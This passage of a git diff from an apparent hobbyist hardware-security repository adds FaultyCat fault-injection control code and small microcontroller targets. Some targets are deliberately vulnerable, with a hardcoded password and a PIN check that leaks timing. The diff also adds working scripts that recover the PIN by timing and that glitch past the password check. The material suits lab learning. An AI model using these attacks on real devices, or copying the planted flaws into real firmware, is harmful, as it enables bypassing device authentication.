self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/README.md b/README.md deleted file mode 100644 index 5ca94a8..0000000 --- a/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Hardware -=============== - -A place for me to store my hardware experiments and scripts and useful tidbits \ No newline at end of file diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino new file mode 100644 index 0000000..53839d4 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino @@ -0,0 +1,103 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = "1324"; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.println("Entered so far: " + currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(5); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + + if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py new file mode 100644 index 0000000..e01eeb2 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py @@ -0,0 +1,115 @@ +import serial +import time + +# Constants +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +PREFIX = "" +ATTEMPTS = 3 +DELAY = 0.8 +KEYSPACE = ["1", "2", "3", "4"] +LENGTH = 4 + +def get_response_time(serial_port, message): + """ + Function to send message, wait for response, and measure response time. + """ + # Flush the input buffer to clear any leftover data + serial_port.flushInput() + + first_line_received = False + + # Send each character in the message with a delay + for i, char in enumerate(message): + time.sleep(DELAY) # Delay before sending the character + serial_port.write(char.encode()) # Send one character at a time + #print(f"sending: {char}") + if i < len(message)-1: + #print(f"reading") + raw_response = serial_port.readline() + + # After sending all characters, we will read until we get the first line (complete response) + raw_response = b'' # Initialize the response variable + + while True: + byte = serial_port.read(1) # Read one byte at a time + if byte: + if byte == b'\n' and not first_line_received: + first_line_received = True # The first line has been received + # Do not start timing yet; we need to wait for the next line after the first one + elif first_line_received: + # Start measuring response time after the first line is fully received + start_time = time.time() + break # We begin timing here, immediately after the first line has been read + + final_response = serial_port.readline().decode(errors='ignore').strip() + # Now read the rest of the response and stop when the second newline is encountered + #final_response = raw_response.decode(errors='ignore').strip() # Decode the response + + # Measure the time taken for the second line (after the first) + response_time = time.time() - start_time + + # Debug message to show what was sent, received, and the response time + print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True) + + time.sleep(DELAY) + return final_response, response_time + +def calculate_average_response_time(serial_port, message): + """ + Calculate average response time over multiple attempts. + """ + total_time = 0 + response_times = [] + + # Try multiple attempts to get the average response time + for _ in range(ATTEMPTS): + response, response_time = get_response_time(serial_port, message) + total_time += response_time + response_times.append(response_time) + + average_time = total_time / ATTEMPTS + print(f"\r{message} average: {average_time:.4f} seconds ", flush=True) + return average_time, response_times + +def identify_sequence(serial_port): + """ + Identify the complete sequence of characters by sending test sequences. + """ + prefix = "" + + # Loop over all positions in the sequence (length 4 in this case) + for pos in range(LENGTH): + slowest_avg = float('-inf') # Initialize with the smallest possible number to track the largest value + best_digit = None + + # Try each character in the keyspace for this position + for key in KEYSPACE: + # Build message for this position + message = prefix + key + key * (LENGTH - len(prefix) - 1) + print(f"Testing: {message}", end='', flush=True) + + # Get the average response time for this message + avg_time, _ = calculate_average_response_time(serial_port, message) + + # Track the slowest (highest average response time) + if avg_time > slowest_avg: # Modify comparison to choose the longest time + slowest_avg = avg_time + best_digit = key + + # Append the best digit found to the prefix + prefix += best_digit + print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)") + + return prefix + +def main(): + # Open the serial port + with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port: + print(f"Starting sequence identification on port {SERIAL_PORT}...") + sequence = identify_sequence(serial_port) + print(f"Identified sequence: {sequence}") + +if __name__ == '__main__': + main() + diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + 